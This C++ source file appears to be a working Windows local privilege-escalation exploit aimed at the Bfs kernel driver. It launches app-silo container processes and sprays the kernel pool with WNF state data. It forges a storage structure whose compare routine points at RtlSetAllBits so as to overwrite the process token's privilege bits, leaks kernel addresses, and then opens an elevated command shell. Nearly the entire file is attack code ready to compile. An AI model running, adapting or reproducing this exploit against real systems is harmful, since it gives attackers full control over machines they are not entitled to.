
#include <iostream>
#include <Windows.h>
#include <userenv.h>
#pragma comment(lib, "Userenv.lib")

#include "ntdll.h"
#pragma comment(lib, "ntdll")

#include <sddl.h>
#include "wnf.h"
#include "bfs.h"

#define SILO_APP_NAME1  L"SiloApp1"
#define SILO_APP_NAME2  L"SiloApp2"


__NtCreateWnfStateName NtCreateWnfStateName = NULL;
__NtUpdateWnfStateData NtUpdateWnfStateData = NULL;
__NtQueryWnfStateData NtQueryWnfStateData = NULL;
__NtDeleteWnfStateData NtDeleteWnfStateData = NULL;
__NtDeleteWnfStateName NtDeleteWnfStateName = NULL;

LONGLONG GetSiloSignature(HANDLE ProcessHandle);
bool WnfSprayPrepare();

ULONGLONG gSignature2 = 0;
HANDLE gAppSilo2Handle = NULL;
HANDLE gAppSilo1Handle = NULL;
PSID gUserId2 = NULL;
PSID gContainerId = NULL;

_BFS_STORAGE* gStorgage = NULL;

int LoadWnfApi()
{
    HMODULE hNtDll = NULL;
    hNtDll = LoadLibraryA("ntdll.dll");
    if (hNtDll == NULL)
    {
        printf("load ntdll failed!\r\n");
        return -1;
    }

    NtCreateWnfStateName = (__NtCreateWnfStateName)GetProcAddress(hNtDll, "NtCreateWnfStateName");
    NtUpdateWnfStateData = (__NtUpdateWnfStateData)GetProcAddress(hNtDll, "NtUpdateWnfStateData");
    NtQueryWnfStateData = (__NtQueryWnfStateData)GetProcAddress(hNtDll, "NtQueryWnfStateData");
    NtDeleteWnfStateData = (__NtDeleteWnfStateData)GetProcAddress(hNtDll, "NtDeleteWnfStateData");
    NtDeleteWnfStateName = (__NtDeleteWnfStateName)GetProcAddress(hNtDll, "NtDeleteWnfStateName");
    if (NtCreateWnfStateName == NULL ||
        NtUpdateWnfStateData == NULL ||
        NtQueryWnfStateData == NULL ||
        NtDeleteWnfStateData == NULL ||
        NtDeleteWnfStateName == NULL)
    {
        printf("not found  functions\r\n");
        return -1;
    }

    return 0;
}

void CreateContainerIf(PCWSTR pszAppContainerName, PCWSTR pszDisplayName, PCWSTR pszDescription, PSID* ppSidAppContainerSid) {

    HRESULT Hr = CreateAppContainerProfile(pszAppContainerName, pszDisplayName, pszDescription, NULL, 0, ppSidAppContainerSid);
    if (Hr == HRESULT_FROM_WIN32(ERROR_ALREADY_EXISTS)) {

        Hr = DeriveAppContainerSidFromAppContainerName(pszAppContainerName, ppSidAppContainerSid);
    }
}

struct _SiloSID
{
    unsigned __int8 Revision;
    unsigned __int8 SubAuthorityCount;
    _SID_IDENTIFIER_AUTHORITY IdentifierAuthority;
    unsigned int SubAuthority[2];
};

_SiloSID CreateAppSiloCapability() {
    _SiloSID SeAppSiloSid = { 0 };
    _SID_IDENTIFIER_AUTHORITY IdentifierAuthority = { 0 };

    IdentifierAuthority.Value[0] = 0;
    IdentifierAuthority.Value[1] = 0;
    IdentifierAuthority.Value[2] = 0;
    IdentifierAuthority.Value[3] = 0;
    IdentifierAuthority.Value[4] = 0;
    IdentifierAuthority.Value[5] = 0xF;

    InitializeSid(PSID(&SeAppSiloSid), &IdentifierAuthority, 2u);
    SeAppSiloSid.SubAuthority[0] = 3;
    SeAppSiloSid.SubAuthority[1] = 0x10000;

    return SeAppSiloSid;
}

struct _PROC_THREAD_ATTRIBUTE
{
    unsigned __int64 Attribute;
    unsigned __int64 Size;
    unsigned __int64 Value;
};


struct _PROC_THREAD_ATTRIBUTE_LIST
{
    unsigned int PresentFlags;
    unsigned int AttributeCount;
    unsigned int LastAttribute;
    unsigned int SpareUlong0;
    _PROC_THREAD_ATTRIBUTE* ExtendedFlagsAttribute;
    _PROC_THREAD_ATTRIBUTE Attributes[1];
};

bool IsProcessInSilo(HANDLE ProcessHandl) {

    HANDLE TokenHandle = NULL;
    if (!::OpenProcessToken(
        ProcessHandl,
        TOKEN_QUERY,
        &TokenHandle))
    {
        printf("GetUserId, Failed to OpenProcessToken()\n");
        return false;
    }
    DWORD isAppSilo{};
    DWORD tokenInformationLength{ sizeof(DWORD) };

    if (!::GetTokenInformation(
        TokenHandle,
        TOKEN_INFORMATION_CLASS::TokenIsAppSilo,
        &isAppSilo,
        tokenInformationLength,
        &tokenInformationLength
    ))
    {
        printf("LaunchContainerApp, Failed to GetTokenInformation(TokenIsAppSilo)\n");
        return false;
    }

    return isAppSilo;
}

bool LaunchSiloApp(PSID pSidAppContainerSid, PCWSTR szProcessName, HANDLE* pProcessHandle, HANDLE* pThreadHandle) {
    STARTUPINFOEX si = { sizeof(si) };
    PROCESS_INFORMATION pi;
    SIZE_T size;
    SECURITY_CAPABILITIES sc = { 0 };
    sc.AppContainerSid = pSidAppContainerSid;
    *pProcessHandle = NULL;
    *pThreadHandle = NULL;

    _SiloSID SeAppSiloSid = CreateAppSiloCapability();
    SID_AND_ATTRIBUTES Capabilities = { 0 };
    Capabilities.Sid = (PSID)(&SeAppSiloSid);
    Capabilities.Attributes = 0xf;

    sc.CapabilityCount = 1;
    sc.Capabilities = &Capabilities;

    InitializeProcThreadAttributeList(nullptr, 1, 0, &size);
    BYTE* buffer = (BYTE*)malloc(size);
    memset(buffer, 0, size);

    si.lpAttributeList = reinterpret_cast<_PROC_THREAD_ATTRIBUTE_LIST*>(buffer);
    InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
    BOOL bResult = UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_SECURITY_CAPABILITIES, &sc, sizeof(sc), nullptr, nullptr);


    WCHAR szCommandLine[MAX_PATH];

    swprintf_s(szCommandLine, MAX_PATH, L"%ls %ls", GetCommandLineW(), szProcessName);

    bResult = CreateProcess(nullptr, szCommandLine, nullptr, nullptr, FALSE, EXTENDED_STARTUPINFO_PRESENT | CREATE_SUSPENDED, nullptr, nullptr, (LPSTARTUPINFO)&si, &pi);
    *pThreadHandle = pi.hThread;
    *pProcessHandle = pi.hProcess;

    return bResult;
}

PSID GetUserId(HANDLE ProcessHandle) {
    HANDLE TokenHandle = NULL;
    TOKEN_USER* pTokenUesrInfo = NULL;
    DWORD dwLength = 0;

    if (!::OpenProcessToken(
        ProcessHandle,
        TOKEN_QUERY,
        &TokenHandle))
    {
        printf("GetUserId, Failed to OpenProcessToken()\n");
        return NULL;
    }

    if (!::GetTokenInformation(
        TokenHandle,
        TOKEN_INFORMATION_CLASS::TokenUser,
        NULL,
        dwLength,
        &dwLength
    ))
    {
        if (dwLength == 0) {
            printf("GetUserId, Failed to GetTokenInformation(TokenUser, NULL)\n");
            return NULL;
        }
    }

    pTokenUesrInfo = (TOKEN_USER*)malloc(dwLength);
    memset(pTokenUesrInfo, 0, dwLength);

    if (!::GetTokenInformation(
        TokenHandle,
        TOKEN_INFORMATION_CLASS::TokenUser,
        pTokenUesrInfo,
        dwLength,
        &dwLength
    ))
    {
        printf("GetUserId, Failed to GetTokenInformation(TokenUser)\n");
        return NULL;
    }

    return pTokenUesrInfo->User.Sid;
}

void GetUserIdString(HANDLE ProcessHandle, PUNICODE_STRING usUserId) {
    NTSTATUS Status = RtlConvertSidToUnicodeString(usUserId, GetUserId(ProcessHandle), 1);
}

PSID GetContainerId(HANDLE ProcessHandle) {
    HANDLE TokenHandle = NULL;
    TOKEN_APPCONTAINER_INFORMATION* pTokenAppContainerInfo = NULL;
    DWORD dwLength = 0;

    if (!::OpenProcessToken(
        ProcessHandle,
        TOKEN_QUERY,
        &TokenHandle))
    {
        printf("GetContainerId, Failed to OpenProcessToken()\n");
        return NULL;
    }

    if (!::GetTokenInformation(
        TokenHandle,
        TOKEN_INFORMATION_CLASS::TokenAppContainerSid,
        NULL,
        dwLength,
        &dwLength
    ))
    {
        if (dwLength == 0) {
            printf("GetContainerId, Failed to GetTokenInformation(TokenAppContainerSid, NULL)\n");
            return NULL;
        }
    }

    pTokenAppContainerInfo = (TOKEN_APPCONTAINER_INFORMATION*)malloc(dwLength);
    memset(pTokenAppContainerInfo, 0, dwLength);

    if (!::GetTokenInformation(
        TokenHandle,
        TOKEN_INFORMATION_CLASS::TokenAppContainerSid,
        pTokenAppContainerInfo,
        dwLength,
        &dwLength
    ))
    {
        printf("GetContainerId, Failed to GetTokenInformation(TokenAppContainerSid)\n");
        return NULL;
    }

    return pTokenAppContainerInfo->TokenAppContainer;
}

void GetContainerIdString(HANDLE ProcessHandle, PUNICODE_STRING usContainerId) {
  
    NTSTATUS Status = RtlConvertSidToUnicodeString(usContainerId, GetContainerId(ProcessHandle), 1);
}


HANDLE OpenDevice() {
    UNICODE_STRING usDevice = { 0 };

    RtlInitUnicodeString(&usDevice, (PWSTR)L"\\device\\Bfs");

    OBJECT_ATTRIBUTES ObjectAttributes = { 0 };
    InitializeObjectAttributes(&ObjectAttributes, &usDevice, OBJ_CASE_INSENSITIVE, NULL, NULL);

    IO_STATUS_BLOCK IoStatusBlock = { 0 };

    HANDLE hDevice = NULL;
    NTSTATUS status = NtOpenFile(&hDevice, FILE_READ_DATA | FILE_WRITE_DATA, &ObjectAttributes, &IoStatusBlock, 0, 0);

    if (STATUS_SUCCESS != status) {
        printf("[-] NtOpenFile() Return Code: %x\n", status);
        printf("[-] NtOpenFile() Error: %x\n", GetLastError());
        ;
    }

    return hDevice;
}

struct _BFS_SET_POLICY
{
    HANDLE TokenHandle;
    ULONG FileType;
    ULONG PolicyValue;
    ULONG PolicyFlags;
    UNICODE_STRING usFilePath;
    ULONG OperationType;
};

void SendSetPolicyRequest(HANDLE ProcessHandle) {
    HANDLE hDevice = OpenDevice();

    DWORD   InputBufferLength = 100;
    PVOID   InputBuffer = malloc(InputBufferLength);

    DWORD   OutputBufferLength = 100;
    PVOID   OutputBuffer = malloc(OutputBufferLength);

    memset(InputBuffer, 0, InputBufferLength);
    memset(OutputBuffer, 0, OutputBufferLength);


    IO_STATUS_BLOCK IoStatusBlock = { 0 };

    _BFS_SET_POLICY Policy = { 0 };
    memset(&Policy, 0, sizeof(Policy));

    if (ProcessHandle == NULL) {
        ProcessHandle = GetCurrentProcess();
    }
    HANDLE hToken = NULL;
    BOOL bReturn = OpenProcessToken(ProcessHandle, TOKEN_ALL_ACCESS, &hToken);


    Policy.TokenHandle = hToken;
    Policy.FileType = 1;
    Policy.PolicyValue = 2;
    Policy.PolicyFlags = 0xf;
    Policy.OperationType = 1;

    
    WCHAR szSystemDir[MAX_PATH + 1] = { 0 };
    UINT uResult = GetSystemDirectoryW(szSystemDir, MAX_PATH);

    WCHAR szFilePath[MAX_PATH + 1] = { 0 };
    swprintf_s(szFilePath, MAX_PATH, L"\\??\\%s\\kernel32.dll", szSystemDir);

    RtlInitUnicodeString(&Policy.usFilePath, szFilePath);

    *(_BFS_SET_POLICY*)InputBuffer = Policy;

    NTSTATUS Status = NtDeviceIoControlFile(
        hDevice,
        NULL,
        NULL,
        NULL,
        &IoStatusBlock,
        0x228004,
        InputBuffer,
        InputBufferLength,
        OutputBuffer,
        OutputBufferLength);
    //printf("Status=0x%x\t\tGle=0x%x\t\tReturnBytes=0x%x\n", Status, GetLastError(), IoStatusBlock.Information);
}


HANDLE CreateStorage(PCWSTR szUserId, PCWSTR szContainerId) {
    
    HANDLE hFile = INVALID_HANDLE_VALUE;
    WCHAR szStoragePath[MAX_PATH + 1] = { 0 };

    WCHAR szSystemDir[MAX_PATH + 1] = { 0 };
    UINT uResult = GetSystemDirectoryW(szSystemDir, MAX_PATH);

    swprintf_s(szStoragePath, MAX_PATH, L"%s\\config\\BFS\\%s\\%s", szSystemDir, szUserId, szContainerId);
    
    hFile = CreateFileW(szStoragePath, GENERIC_READ | GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

    if(hFile == INVALID_HANDLE_VALUE) {
        printf("CreateStorage, Failed to CreateFileW(%ls) (0x%x)\n", szStoragePath, GetLastError());
    }
    
    return hFile;
}

bool TryToClearStorage(PCWSTR szUserId, PCWSTR szContainerId) {

    bool bResult = false;
    WCHAR szStoragePath[MAX_PATH + 1] = { 0 };

    WCHAR szSystemDir[MAX_PATH + 1] = { 0 };
    UINT uResult = GetSystemDirectoryW(szSystemDir, MAX_PATH);

    swprintf_s(szStoragePath, MAX_PATH, L"%s\\config\\BFS\\%s\\%s", szSystemDir, szUserId, szContainerId);

    bResult = DeleteFileW(szStoragePath);

    return bResult;
}

void CreateTestFile(PCWSTR szFileName) {
    HANDLE hFile = CreateFileW(szFileName,
        GENERIC_READ | GENERIC_WRITE,
        0,
        NULL,
        CREATE_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
        printf("[-] CreateTestFile() Error: 0x%x\n", GetLastError());
    }
    else {
        printf("[+] Creating %ls.\n", szFileName);
    }
    CloseHandle(hFile);
}

bool Step1() {
    PCWSTR pszAppContainerName1 = L"Container_c82b2e04-432a-4767-a737-143733ee9f2";
    PCWSTR pszDisplayName1 = L"Container_c82b2e04-432a-4767-a737-143733ee9f28";
    PCWSTR pszDescription1 = L"This is Container_c82b2e04-432a-4767-a737-143733ee9f28.";
    PSID pSidAppContainerSid1 = NULL;
    CreateContainerIf(pszAppContainerName1, pszDisplayName1, pszDescription1, &pSidAppContainerSid1);

    HANDLE ProcessHandle = NULL;
    HANDLE ThreadHandle = NULL;

    if (!LaunchSiloApp(pSidAppContainerSid1, SILO_APP_NAME1, & ProcessHandle, &ThreadHandle)) {
        printf("Failed to create silo app.\n");
        return false;
    }

    if (!IsProcessInSilo(ProcessHandle)) {
        printf("The process is not a silo app.\n");
        return false;
    }

    printf("\nSilo1 isAppSilo=%d\n", 1);

    UNICODE_STRING usUserId = { 0 };
    GetUserIdString(ProcessHandle, &usUserId);
    printf("Userid=%wZ\n", usUserId);

    UNICODE_STRING usContainerId = { 0 };
    GetContainerIdString(ProcessHandle, &usContainerId);
    printf("usContainerId=%wZ\n", usContainerId);

    TryToClearStorage(usUserId.Buffer, usContainerId.Buffer);
    gAppSilo1Handle = ProcessHandle;
    ResumeThread(ThreadHandle);
    Sleep(1000);

    SendSetPolicyRequest(ProcessHandle);

    return true;
   
}


bool Step2() {
    
    PCWSTR pszAppContainerName2 = L"Container_2a3ba19f-8a29-4b8d-b2e3-5da6e16365708";
    PCWSTR pszDisplayName2 = L"Container_2a3ba19f-8a29-4b8d-b2e3-5da6e16365708";
    PCWSTR pszDescription2 = L"This is Container_2a3ba19f-8a29-4b8d-b2e3-5da6e1636570.";
    PSID pSidAppContainerSid2 = NULL;
    CreateContainerIf(pszAppContainerName2, pszDisplayName2, pszDescription2, &pSidAppContainerSid2);

    HANDLE ProcessHandle = NULL;
    HANDLE ThreadHandle = NULL;

    if (!LaunchSiloApp(pSidAppContainerSid2, SILO_APP_NAME2, &ProcessHandle, &ThreadHandle)) {
        printf("Failed to create silo app.\n");
        return false;
    }

    if (!IsProcessInSilo(ProcessHandle)) {
        printf("The process is not a silo app.\n");
        return false;
    }

    printf("\nSilo2 isAppSilo=%d\n", 1);

    UNICODE_STRING usUserId = { 0 };
    GetUserIdString(ProcessHandle, &usUserId);
    printf("Userid=%wZ\n", usUserId);

    UNICODE_STRING usContainerId = { 0 };
    GetContainerIdString(ProcessHandle, &usContainerId);
    printf("usContainerId=%wZ\n", usContainerId);

    TryToClearStorage(usUserId.Buffer, usContainerId.Buffer);

    gSignature2 = GetSiloSignature(ProcessHandle);
    printf("Silo2 Signature=%I64x\n", gSignature2);

    gAppSilo2Handle = ProcessHandle;

    WnfSprayPrepare();

    ResumeThread(ThreadHandle);
    Sleep(1000);

    HANDLE StorageFileHandle = CreateStorage(usUserId.Buffer, usContainerId.Buffer);
    if (StorageFileHandle == INVALID_HANDLE_VALUE) {
        return false;
    }
    
    SendSetPolicyRequest(ProcessHandle);

}

WNF_STATE_NAME StateNames[SPRAY_COUNT] = { 0 };

bool CreateWnfStateName(){
    NTSTATUS Status = 0;

    PSECURITY_DESCRIPTOR pSD = NULL;
    if (!ConvertStringSecurityDescriptorToSecurityDescriptor(L"", SDDL_REVISION_1, &pSD, nullptr))
    {
        return false;
    }

    for (int i = 0; i < SPRAY_COUNT; i++)
    {
        Status = NtCreateWnfStateName(&StateNames[i], WnfTemporaryStateName, WnfDataScopeUser, FALSE, NULL, OVER_STATEDATA_LENGTH, pSD);
        if (Status != 0)
        {
            return false;
        }
    }
    if (pSD)
    {
        LocalFree(pSD);
    }
    return true;
}

_RTL_GENERIC_COMPARE_RESULTS KernelCallback(struct _RTL_AVL_TABLE* Table, PVOID FirstStruct, PVOID SecondStruct) {
    int* addr = (int*)5;

    *addr = 0;

    return GenericLessThan;
}

PVOID GetObjectPointerByHandle(HANDLE hToken)
{
    ULONG bufferSize = 0x1000;
    DWORD pid = GetCurrentProcessId();
    PSYSTEM_HANDLE_INFORMATION_EX pHandleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)malloc(bufferSize);

    int status = NtQuerySystemInformation(SystemExtendedHandleInformation, pHandleInfo, bufferSize, &bufferSize);
    if (status == STATUS_INFO_LENGTH_MISMATCH)
    {
        free(pHandleInfo);
        pHandleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)malloc(bufferSize + 0x10000);
        status = NtQuerySystemInformation(SystemExtendedHandleInformation, pHandleInfo, bufferSize, &bufferSize);
    }

    for (int i = 0; i < pHandleInfo->NumberOfHandles; i++)
    {
        PSYSTEM_HANDLE_TABLE_ENTRY_INFO_EX pHandleEntry = &(pHandleInfo->Handles[i]);
        if (pid == pHandleEntry->UniqueProcessId && pHandleEntry->HandleValue == (ULONG_PTR)hToken)
        {
            return pHandleEntry->Object;
        }
    }

    return NULL;
}
#define MAXIMUM_FILENAME_LENGTH 255 

typedef struct SYSTEM_MODULE {
    ULONG                Reserved1;
    ULONG                Reserved2;
#ifdef _WIN64
    ULONG				Reserved3;
#endif
    PVOID                ImageBaseAddress;
    ULONG                ImageSize;
    ULONG                Flags;
    WORD                 Id;
    WORD                 Rank;
    WORD                 w018;
    WORD                 NameOffset;
    CHAR                 Name[MAXIMUM_FILENAME_LENGTH];
}SYSTEM_MODULE, * PSYSTEM_MODULE;

typedef struct SYSTEM_MODULE_INFORMATION {
    ULONG                ModulesCount;
    SYSTEM_MODULE        Modules[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;

PVOID GetModuleAddr(const char* modName)
{
    PSYSTEM_MODULE_INFORMATION buffer = (PSYSTEM_MODULE_INFORMATION)malloc(0x20);

    DWORD outBuffer = 0;
    NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, buffer, 0x20, &outBuffer);

    if (status == STATUS_INFO_LENGTH_MISMATCH)
    {
        free(buffer);
        buffer = (PSYSTEM_MODULE_INFORMATION)malloc(outBuffer);
        status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, buffer, outBuffer, &outBuffer);
    }

    if (!buffer)
    {
        printf("[-] NtQuerySystemInformation error\n");
        return 0;
    }

    for (unsigned int i = 0; i < buffer->ModulesCount; i++)
    {
        PVOID kernelImageBase = buffer->Modules[i].ImageBaseAddress;
        PCHAR kernelImage = (PCHAR)buffer->Modules[i].Name;
        if (_stricmp(kernelImage, modName) == 0)
        {
            free(buffer);
            return kernelImageBase;
        }
    }
    free(buffer);
    return 0;
}

HMODULE GetNOSModule()
{
    HMODULE hKern = 0;
    hKern = LoadLibraryEx(L"ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
    return hKern;
}

DWORD64 GetGadgetAddr(const char* name)
{
    DWORD64 base = (DWORD64)GetModuleAddr("\\SystemRoot\\system32\\ntoskrnl.exe");
    HMODULE mod = GetNOSModule();
    if (!mod)
    {
        printf("[-] leaking ntoskrnl version\n");
        return 0;
    }
    DWORD64 offset = (DWORD64)GetProcAddress(mod, name);

    DWORD64 returnValue = 0;

    if (offset != 0) {
        returnValue = base + offset - (DWORD64)mod;
    }

    FreeLibrary(mod);
    return returnValue;
}

void BuildStroage(){
    _BFS_STORAGE* Storgage = (_BFS_STORAGE*)malloc(sizeof(_BFS_STORAGE));

    memset(Storgage, 0, sizeof(_BFS_STORAGE));
    //(Storgage->FirstVolumeEntry.Directory.VolumeTable;

    _BFS_AVL_TABLE BfsTable = {0};
    memset(&BfsTable, 0, sizeof(_BFS_AVL_TABLE));


    HANDLE hToken = NULL;
    OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
    DWORD64 Token = (DWORD64)GetObjectPointerByHandle(hToken);
    printf("Token address=%I64x\n", Token);

    const char* name = "RtlSetAllBits";
    DWORD64 addr = GetGadgetAddr(name);

    printf("Target function %s=%I64x\n", name, addr);

    BfsTable.AvlTable.CompareRoutine = (PRTL_AVL_COMPARE_ROUTINE)(addr);

    _RTL_BITMAP* BitMapHeader = (_RTL_BITMAP*)&BfsTable.AvlTable;
    BitMapHeader->SizeOfBitMap = 0x80;
    BitMapHeader->Buffer = (PULONG)(Token + 0x40);
    BfsTable.AvlTable.NumberGenericTableElements = 1;
    BfsTable.AvlTable.BalancedRoot.RightChild = (_RTL_BALANCED_LINKS*)0xffffffffffffffe0;

    Storgage->ControlBlock = (_BFS_CONTROL_BLOCK*) malloc(sizeof(_BFS_CONTROL_BLOCK));
    memset(Storgage->ControlBlock, 0, sizeof(_BFS_CONTROL_BLOCK));
    Storgage->FirstVolumeEntry.Directory.VolumeTable = BfsTable;

    gStorgage = Storgage;

    return;
}

bool EnablePriviledges() {
    DWORD dwLen;
    bool bRes;
    HANDLE TokenHandle;

    if (!::OpenProcessToken(
        GetCurrentProcess(),
        TOKEN_ALL_ACCESS,
        &TokenHandle))
    {
        printf("GetUserId, Failed to OpenProcessToken()\n");
        return false;
    }

    // obtain dwLen
    bRes = GetTokenInformation(
        TokenHandle,
        TokenPrivileges,
        NULL,
        0,
        &dwLen
    );

    BYTE* pBuffer = new BYTE[dwLen];
    if (pBuffer == NULL)
    {
        CloseHandle(TokenHandle);
        return false ;
    }

    bRes = GetTokenInformation(
        TokenHandle,
        TokenPrivileges,
        pBuffer,
        dwLen,
        &dwLen
    );

    if (!bRes)
    {
        CloseHandle(TokenHandle);
        delete[] pBuffer;
        return false ;
    }

    
    // Iterate through all the privileges and enable them all
    // ====================================================== 
    TOKEN_PRIVILEGES* pPrivs = (TOKEN_PRIVILEGES*)pBuffer;
    printf("PrivilegeCount:%d\n", pPrivs->PrivilegeCount);
    for (DWORD i = 0; i < pPrivs->PrivilegeCount; i++)
    {
        pPrivs->Privileges[i].Attributes |= SE_PRIVILEGE_ENABLED;
    }
    // Store the information back in the token
    // ========================================= 
    bRes = AdjustTokenPrivileges(
        TokenHandle,
        FALSE,
        pPrivs,
        0, NULL, NULL
    );

    delete[] pBuffer;
    CloseHandle(TokenHandle);
    
    return bRes;
}

bool UpdateWnfStateData()
{
    NTSTATUS Status = 0;
    _BFS_POLICY_PARTIAL_ENTRY Entry = { 0 };
    RtlFillMemory(&Entry, sizeof(Entry), 'C');
    Entry.Signature = gSignature2;
    Entry.UserId = gUserId2;
    Entry.ContainerId = gContainerId;
    Entry.Flag = 0x10000000;
    Entry.Storage = gStorgage;

    for (int i = 0; i < SPRAY_COUNT; i += 1)
    {
        Status = NtUpdateWnfStateData((PWNF_STATE_NAME)&StateNames[i], &Entry, sizeof(Entry), NULL, NULL, NULL, 0);
        if (Status != 0)
        {
            return false;
        }
    }

    return 0;
}



bool WnfSprayPrepare() {
    NTSTATUS Status = 0;
    _BFS_POLICY_PARTIAL_ENTRY Entry = { 0 };
    PSECURITY_DESCRIPTOR pSD = NULL;

    int count1 = 10000;
    int count2 = 5000;

    WNF_STATE_NAME StateNames[10000] = { 0 };
    WNF_STATE_NAME StateNames2[5000] = { 0 };
   

    if (!ConvertStringSecurityDescriptorToSecurityDescriptor(L"", SDDL_REVISION_1, &pSD, nullptr))
    {
        return false;
    }

    for (int i = 0; i < count1; i++)
    {
        Status = NtCreateWnfStateName(&StateNames[i], WnfTemporaryStateName, WnfDataScopeUser, FALSE, NULL, OVER_STATEDATA_LENGTH, pSD);
        if (Status != 0)
        {
            printf("[-] HeapSprayPrepare NtCreateWnfStateName() Return Code: %x\n", Status);
            return false;
        }
    }

    for (int i = 0; i < count1; i++)
    {
        Status = NtUpdateWnfStateData((PWNF_STATE_NAME)&StateNames[i], &Entry, sizeof(Entry), NULL, NULL, NULL, 0);
        if (Status != 0)
        {
            printf("[-] HeapSprayPrepare NtUpdateWnfStateData() Return Code: %x\n", Status);
            return false;
        }
    }


    for (int i = 0; i < count2; i++)
    {
        Status = NtCreateWnfStateName(&StateNames2[i], WnfTemporaryStateName, WnfDataScopeUser, FALSE, NULL, OVER_STATEDATA_LENGTH, pSD);
        if (Status != 0)
        {
            printf("[-] HeapSprayPrepare NtCreateWnfStateName() Return Code: %x\n", Status);
            return false;
        }
    }

    for (int i = 0; i < count2; i++) {
        Status = NtUpdateWnfStateData((PWNF_STATE_NAME)&StateNames2[i], &Entry, sizeof(Entry), NULL, NULL, NULL, 0);
        if (Status != 0)
        {
            printf("[-] HeapSprayPrepare NtUpdateWnfStateData() Return Code: %x\n", Status);
            return false;
        }
    }


    for (int i = 0; i < count2; i=i+2)
    {
        Status = NtDeleteWnfStateData((PWNF_STATE_NAME)&StateNames2[i], NULL);
        if (Status != 0)
        {
            printf("[-] HeapSprayPrepare NtDeleteWnfStateData() Return Code: %x\n", Status);
            return false;
        }

        Status = NtDeleteWnfStateName((PWNF_STATE_NAME)&StateNames2[i]);
        if (Status != 0)
        {
            printf("[-] HeapSprayPrepare NtDeleteWnfStateName() Return Code: %x\n", Status);
            return false;
        }
    }
    

    if (pSD)
    {
        LocalFree(pSD);
    }


    return true;
}

ULONG_PTR CalcSignature(PSID UserId, PSID ContainerId) {
    LONGLONG Signature = 0i64;
    ULONG Length = 0;
    ULONG UserIdLength = 0;
    ULONG ContainerIdLength;
    BYTE ch = 0;

    UserIdLength = RtlLengthSid(UserId);
    //printf("UserIdLength=%x\n", UserIdLength);

    if (UserIdLength)
    {
        Length = UserIdLength;
        
        do
        {
            ch = *(PBYTE)UserId;
            //printf("ch=%hhx\n", ch);
            UserId = ((PBYTE)UserId + 1);
            Signature = ch + 0x25 * Signature;
            //printf("Silo2 Signature=%I64x\n", Signature);
            --Length;
        } while (Length);
    }
    ContainerIdLength = RtlLengthSid(ContainerId);
    //printf("ContainerIdLength=%x\n", ContainerIdLength);
    if (ContainerIdLength)
    {
        Length = ContainerIdLength;
        do
        {
            ch = *(PBYTE)ContainerId;
            //printf("ch=%hhx\n", ch);
            ContainerId = (PBYTE)ContainerId + 1;
            Signature = ch + 0x25 * Signature;
            //printf("Silo2 Signature=%I64x\n", Signature);
            --Length;
        } while (Length);
    }
    if (!Signature)
        Signature = 0xFFFFFFFFFFFFFFFFui64;

    return Signature;
}

LONGLONG GetSiloSignature(HANDLE ProcessHandle) {
    LONGLONG Signature = 0i64;
    PSID UserId = NULL;
    PSID ContainerId = NULL;

    UserId = GetUserId(ProcessHandle);
    ContainerId = GetContainerId(ProcessHandle);

    gUserId2 = UserId;
    gContainerId = ContainerId;

    Signature = CalcSignature(UserId, ContainerId);

    return Signature;
}

void CheckTcbPriviledge() {
    NTSTATUS Status = NtDrawText(NULL);
    
    printf("CheckTcbPriviledge NtDrawText %x, ", Status);
    if (Status == 0xC0000061) {
        printf("Failed\n");
    }
    else if (Status == 0xC000000D) {
        printf("Success\n");
    }
    else {
        printf("Unknown\n");
    }
    
}
void Step0() {
    system("cmd /c \"whoami /all\"");
    Sleep(3000);
    printf("\n\n");
    BuildStroage();
    LoadWnfApi();
    CreateWnfStateName();
}

void Step3() {
    UpdateWnfStateData();
    SendSetPolicyRequest(gAppSilo2Handle);
}

void Step4() {
    TerminateProcess(gAppSilo1Handle, 0);
    TerminateProcess(gAppSilo2Handle, 0);
    //EnablePriviledges();
    CheckTcbPriviledge();
    system("cmd");
    getchar();
}

void HostMain() {
    Step0();
    Step1();
    Step2();
    Step3();
    Step4();
}

void SiloMain1() {

    CreateTestFile(L"test1.txt");
    getchar();
}

void SiloMain2() {

    CreateTestFile(L"test2.txt");
    //Sleep(10 * 1000);
    //CreateTestFile(L"test2.txt");
    getchar();
}

int wmain(int argc, WCHAR* argv[])
{
    if (argc == 1) {
        HostMain();
    }
    else {
        if (!wcscmp(argv[1], SILO_APP_NAME1)) {
            SiloMain1();
        }else if (!wcscmp(argv[1], SILO_APP_NAME2)) {
            SiloMain2();
        };
    }
}

